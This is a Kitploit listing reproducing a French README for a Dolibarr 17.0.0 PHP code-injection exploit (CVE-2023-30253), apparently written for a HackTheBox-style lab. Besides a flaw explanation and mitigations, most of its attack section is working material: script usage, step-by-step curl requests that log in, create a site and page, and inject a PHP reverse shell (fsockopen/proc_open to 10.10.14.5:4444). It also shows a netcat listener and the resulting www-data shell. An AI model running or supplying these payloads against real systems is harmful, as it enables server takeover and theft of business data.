Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2023-30253-exploit — CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via injection de code PHP (exploit éducatif) | Kitploit
Outils/GitHubGitHub/jeanback1/cve-2023-30253-exploit
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges Utiles
GitHubjeanback1/cve-2023-30253-exploit

CVE-2023-30253-exploit

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 RCE via injection de code PHP (exploit éducatif)

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

CVE-2023-30253 — Dolibarr ERP/CRM 17.0.0 Remote Code Execution

Python 3.8+ License CVSS

Exploit d'injection de code PHP pour Dolibarr ERP/CRM v17.0.0 permettant d'obtenir un shell inverse en tant qu'utilisateur www-data via le module Website/CMS.

⚠️ Uniquement à des fins éducatives et d'audits autorisés.


📑 Index

  • Qu'est-ce que CVE-2023-30253 ?
  • Comment fonctionne la vulnérabilité ?
  • Impact
  • Que fait cet exploit ?
  • Prérequis
  • Installation
  • Utilisation
  • Exemple pratique
  • L'exploit pas à pas
  • Atténuation
  • Références

🔍 Qu'est-ce que CVE-2023-30253 ?

CVE-2023-30253 est une vulnérabilité d'injection de code PHP (CWE-94: Improper Control of Generation of Code) dans Dolibarr ERP/CRM versions antérieures à 17.0.1.

Elle a été découverte et rapportée par l'équipe Swascan (maintenant Hacktivesecurity) en mai 2023. La vulnérabilité réside dans le module Website/CMS, qui permet aux utilisateurs authentifiés de créer et gérer des sites web dans Dolibarr.


⚙️ Comment fonctionne la vulnérabilité ?

Dolibarr implémente un filtre pour empêcher les utilisateurs d'injecter du code PHP dans le contenu des pages du module Website. Cependant, ce filtre présente un défaut critique : il est case-sensitive.

root@kitploit:~
// Code vulnérable (simplifié) dans Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
    // Bloque uniquement "<?php" en minuscules exactes... ou pas ?
    die("PHP code detected!");
}

Le filtre recherche littéralement la chaîne <?php en minuscules. Mais PHP permet n'importe quelle combinaison de minuscules et majuscules pour la balise d'ouverture. Cela signifie que :

L'exploit utilise <?PHP (en majuscules) pour contourner le filtre, mais n'importe quelle variante fonctionne.

De plus, le filtre n'est appliqué qu'au moment de sauvegarder le contenu. Lors de la livraison de la page, Dolibarr transmet le contenu sans assainissement supplémentaire à l'interpréteur PHP, qui exécute tout code avec la balise d'ouverture <?.


💥 Impact

Un attaquant authentifié peut :

  • Exécution de commandes à distance (RCE) sur le serveur
  • Accéder à la base de données de Dolibarr (clients, factures, utilisateurs)
  • Lire des fichiers sensibles du système (/etc/passwd, configuration)
  • Utiliser le serveur comme point de pivot pour des attaques internes
  • Installer des malwares, webshells ou backdoors persistants

Pourquoi est-ce critique ? Dolibarr est utilisé comme ERP/CRM d'entreprise. Une intrusion peut exposer des données clients, financières, des contrats et des identifiants internes.


🛠️ Que fait cet exploit ?

L'exploit automatise le processus complet d'exploitation en 5 étapes :

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                   CVE-2023-30253                       │
│                                                         │
│  1. Login          → S'authentifier dans Dolibarr       │
│  2. Create Website → Créer un site web vide             │
│  3. Create Page    → Créer une page dans le site        │
│  4. Inject Shell   → Injecter un shell inverse PHP      │
│  5. Trigger        → Exécuter le payload                │
│                                                         │
│  Résultat : 🎯 Shell inverse en tant que www-data       │
└─────────────────────────────────────────────────────────┘

Caractéristiques :

  • ✅ Gestion automatique des jetons anti-CSRF
  • ✅ Session persistante avec cookies
  • ✅ Détection automatique du pageid
  • ✅ Mode verbeux pour le débogage
  • ✅ Sortie colorée (désactivable)
  • ✅ Payload de shell inverse via fsockopen + proc_open

📋 Prérequis

  • Python 3.8+
  • requests
  • beautifulsoup4

Ou simplement :

root@kitploit:~
pip install -r requirements.txt

📦 Installation

root@kitploit:~
# Cloner le dépôt
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit

# Installer les dépendances
pip install -r requirements.txt

🚀 Utilisation

root@kitploit:~
python exploit.py <target> <username> <password> <lhost> <lport> [opciones]

Arguments positionnels :

Options :

OptionDescription
-v, --verboseAffiche des informations de débogage détaillées
--no-colorDésactive les couleurs dans la sortie
-h, --helpAffiche l'aide et des exemples

🎯 Exemple pratique

Terminal 1 — Démarrer le listener du shell inverse

root@kitploit:~
nc -lvnp 4444

Terminal 2 — Exécuter l'exploit

root@kitploit:~
python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose

Sortie attendue

root@kitploit:~
════════════════════════════════════════════════════════
 CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════

  Target:   http://crm.board.htb
  User:     admin
  LHOST:    10.10.14.5
  LPORT:    4444
  Site ID:  s3a1f2bc

──────────────────────────────────────────────────

[10:45:12] Paso 1/5: Iniciando sesión...
[10:45:12]   ✓ Sesión iniciada correctamente

[10:45:13] Paso 2/5: Creando sitio web...
[10:45:13]   ✓ Sitio web 's3a1f2bc' creado

[10:45:13] Paso 3/5: Creando página en el sitio...
[10:45:13]   ✓ Página creada dentro del sitio

[10:45:14] Paso 4/5: Inyectando reverse shell → 10.10.14.5:4444...
[10:45:14]   ✓ Código PHP inyectado exitosamente

[10:45:14] Paso 5/5: Ejecutando payload (trigger)...

════════════════════════════════════════════════════════
  EXPLOTACIÓN COMPLETADA
════════════════════════════════════════════════════════

  Trigger URL:
  http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc

  Instrucciones:
  1. En otra terminal, inicia tu listener:
     nc -lvnp 4444
  2. Accede a la Trigger URL (el exploit ya lo hizo)
  3. Recibirás una shell reversa como www-data

Terminal 1 — Shell obtenu 🎯

root@kitploit:~
Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

🔬 L'exploit pas à pas

Si vous préférez comprendre le processus manuellement (sans le script), voici le flux complet :

1. S'authentifier

root@kitploit:~
# Obtenir les cookies et le jeton CSRF
curl -c cookies.txt http://crm.board.htb/ > /dev/null

# Extraire le jeton
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

# Login
curl -b cookies.txt -c cookies.txt \
  -X POST "http://crm.board.htb/index.php?mainmenu=home" \
  -d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"

2. Créer un site web

root@kitploit:~
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?action=createsite" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addsite&WEBSITE_REF=misitio&WEBSITE_TITLE=misitio&addcontainer=Create"

⚠️ Leçon apprise : Le paramètre action correct est addsite, pas add comme apparaît dans certains exploits publics.

3. Créer une page

root@kitploit:~
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addcontainer&website=misitio&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"

4. Injecter du code PHP

root@kitploit:~
TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=misitio&pageid=1&action=editsource" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "action=updatesource" \
  --data-urlencode "website=misitio" \
  --data-urlencode "PAGE_CONTENT=$PHP"

🔑 Clé de l'attaque : Le champ correct est PAGE_CONTENT, pas WEBSITE_CONTENT. De nombreux PoCs publics ont cette erreur.

5. Exécuter le payload

root@kitploit:~
curl "http://crm.board.htb/public/website/index.php?website=misitio&pageref=misitio"

🛡️ Atténuation

Pour protéger un serveur Dolibarr contre cette vulnérabilité :

Mettre à jour (recommandé)

root@kitploit:~
# Mettre à jour vers Dolibarr 17.0.1 ou supérieur
# Le correctif améliore le filtre pour détecter toute variante de <?php

Désactiver le module Website

Si vous n'utilisez pas le module Website/CMS, désactivez-le depuis :

root@kitploit:~
Home → Setup → Modules → Website → Désactiver

Règles WAF (mod_security)

root@kitploit:~
# Bloquer toute variante de balises PHP dans le champ PAGE_CONTENT
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
  "id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"

Principe du moindre privilège

  • N'utilisez pas de comptes administrateur pour les utilisateurs quotidiens
  • Limitez qui peut accéder au module Website

📚 Références

  • NVD — CVE-2023-30253
  • Swascan Advisory — Dolibarr 17.0.0 Analysis
  • Dolibarr GitHub — Commit du correctif
  • CWE-94: Code Injection
  • Hacktivesecurity — Rapport Original

📝 Avertissement

Ce projet est créé à des fins éducatives et de recherche en sécurité informatique. L'utilisation de cet exploit contre des systèmes sans autorisation explicite est illégale et éthiquement répréhensible.

En tant que professionnel de la cybersécurité, je crois fermement en :

  • La divulgation responsable des vulnérabilités
  • Le hacking éthique avec autorisation
  • Le partage des connaissances pour améliorer la sécurité collective

Créé par Jean Carlos
Étudiant en Cybersécurité | Pentesting | Joueur CTF
CVE-2021-3560 • CVE-2023-27163 • CVE-2024-46986 • CVE-2025-2304

Télécharger l’outil
ChampValeur
CVECVE-2023-30253
CVSS v3.18.8 (HIGH)
VecteurAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
TypeCWE-94 — Code Injection
Logiciel affectéDolibarr ERP/CRM < 17.0.1
PrivilègesUtilisateur authentifié (tout rôle)
CorrectifDolibarr 17.0.1 — commit 4f6055c
BaliseFiltrée ?Exécutée par PHP ?
<?php ... ?>✅✅
<?PHP ... ?>❌✅
<?Php ... ?>❌✅
<?pHp ... ?>❌✅
ArgumentDescriptionExemple
targetURL de base de Dolibarrhttp://crm.board.htb
usernameUtilisateur Dolibarradmin
passwordMot de passe Dolibarradmin
lhostVotre IP (où vous recevrez le shell)10.10.14.5
lportVotre port (où vous recevrez le shell)4444